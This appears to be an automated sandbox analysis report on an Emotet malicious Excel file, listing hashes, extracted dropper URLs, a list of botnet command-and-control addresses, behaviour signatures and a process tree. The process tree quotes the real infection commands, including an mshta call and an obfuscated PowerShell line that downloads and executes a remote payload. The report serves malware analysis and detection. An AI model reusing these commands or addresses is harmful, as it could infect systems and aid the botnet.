emotet | 4db16a25448ec370b2601f04b2275a902cab3927e4fc20da902a882f56167d0d

Analysis

max time kernel
148s
max time network
149s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 18:42

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General

Target
tmptpipdwm2.xls
Size 154KB
Sample220127-xcqrdahahj
SHA256 4db16a25448ec370b2601f04b2275a902cab3927e4fc20da902a882f56167d0d
MD5 12a4e963997c2f0550caf0862b4ff0d3
SHA1 d41dabeb21ebfa0ed6b0aab197e513dd138089c1
SHA512 14fbc54621f1c072f2b61d1d8c3c5b0bd13de79751a92d32376b46d93e9e162cdfac3e670719a78f34f2fb9caaf685a2bcc8bf111b5c49aa0e2b2bb1fde43b63
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1784	3720	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
12	1876	mshta.exe
26	4296	powershell.exe
28	4296	powershell.exe
49	4432	rundll32.exe
50	4432	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1368	rundll32.exe
2572	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Ydzsc\duyejogrq.zlv	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5104	1876	WerFault.exe	71

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3720	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4296	powershell.exe
4296	powershell.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
5104	WerFault.exe
4296	powershell.exe
4432	rundll32.exe
4432	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4296	powershell.exe
Token: SeDebugPrivilege	5104	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3720	EXCEL.EXE
3720	EXCEL.EXE
3720	EXCEL.EXE
3720	EXCEL.EXE
3720	EXCEL.EXE
3720	EXCEL.EXE
3720	EXCEL.EXE
3720	EXCEL.EXE
3720	EXCEL.EXE
3720	EXCEL.EXE
3720	EXCEL.EXE
3720	EXCEL.EXE
3720	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3720 wrote to memory of 1784	3720	EXCEL.EXE	69
PID 3720 wrote to memory of 1784	3720	EXCEL.EXE	69
PID 1784 wrote to memory of 1876	1784	cmd.exe	71
PID 1784 wrote to memory of 1876	1784	cmd.exe	71
PID 1876 wrote to memory of 4296	1876	mshta.exe	75
PID 1876 wrote to memory of 4296	1876	mshta.exe	75
PID 4296 wrote to memory of 2464	4296	powershell.exe	80
PID 4296 wrote to memory of 2464	4296	powershell.exe	80
PID 2464 wrote to memory of 1368	2464	cmd.exe	81
PID 2464 wrote to memory of 1368	2464	cmd.exe	81
PID 2464 wrote to memory of 1368	2464	cmd.exe	81
PID 1368 wrote to memory of 2572	1368	rundll32.exe	82
PID 1368 wrote to memory of 2572	1368	rundll32.exe	82
PID 1368 wrote to memory of 2572	1368	rundll32.exe	82
PID 2572 wrote to memory of 2400	2572	rundll32.exe	83
PID 2572 wrote to memory of 2400	2572	rundll32.exe	83
PID 2572 wrote to memory of 2400	2572	rundll32.exe	83
PID 2400 wrote to memory of 4432	2400	rundll32.exe	84
PID 2400 wrote to memory of 4432	2400	rundll32.exe	84
PID 2400 wrote to memory of 4432	2400	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmptpipdwm2.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3720
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4296
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2464
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1368
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2572
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ydzsc\duyejogrq.zlv",nDnTmGM
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2400
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ydzsc\duyejogrq.zlv",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:4432
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1876 -s 1648
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5104

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1368-596-0x0000000004B61000-0x0000000004B82000-memory.dmp

Download

memory/2400-731-0x00000000008A1000-0x00000000008C2000-memory.dmp

Download

memory/2400-732-0x00000000008A0000-0x00000000008C5000-memory.dmp

Download

memory/3720-129-0x00007FFE6D890000-0x00007FFE6D8A0000-memory.dmp

Download

memory/3720-117-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

Download

memory/3720-762-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

Download

memory/3720-763-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

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memory/3720-761-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

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memory/3720-760-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

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memory/3720-116-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

Download

memory/3720-115-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

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memory/3720-128-0x00007FFE6D890000-0x00007FFE6D8A0000-memory.dmp

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memory/3720-121-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

Download

memory/3720-118-0x00007FFE71400000-0x00007FFE71410000-memory.dmp

Download

memory/4296-301-0x000001951A880000-0x000001951A8F6000-memory.dmp

Download

memory/4296-442-0x000001951A256000-0x000001951A258000-memory.dmp

Download

memory/4296-267-0x0000019501C30000-0x0000019501C52000-memory.dmp

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memory/4296-288-0x000001951A210000-0x000001951A24C000-memory.dmp

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memory/4296-271-0x000001951A253000-0x000001951A255000-memory.dmp

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memory/4296-270-0x000001951A250000-0x000001951A252000-memory.dmp

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memory/4432-735-0x00000000034A0000-0x00000000034C5000-memory.dmp

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memory/4432-738-0x00000000052A0000-0x00000000052C5000-memory.dmp

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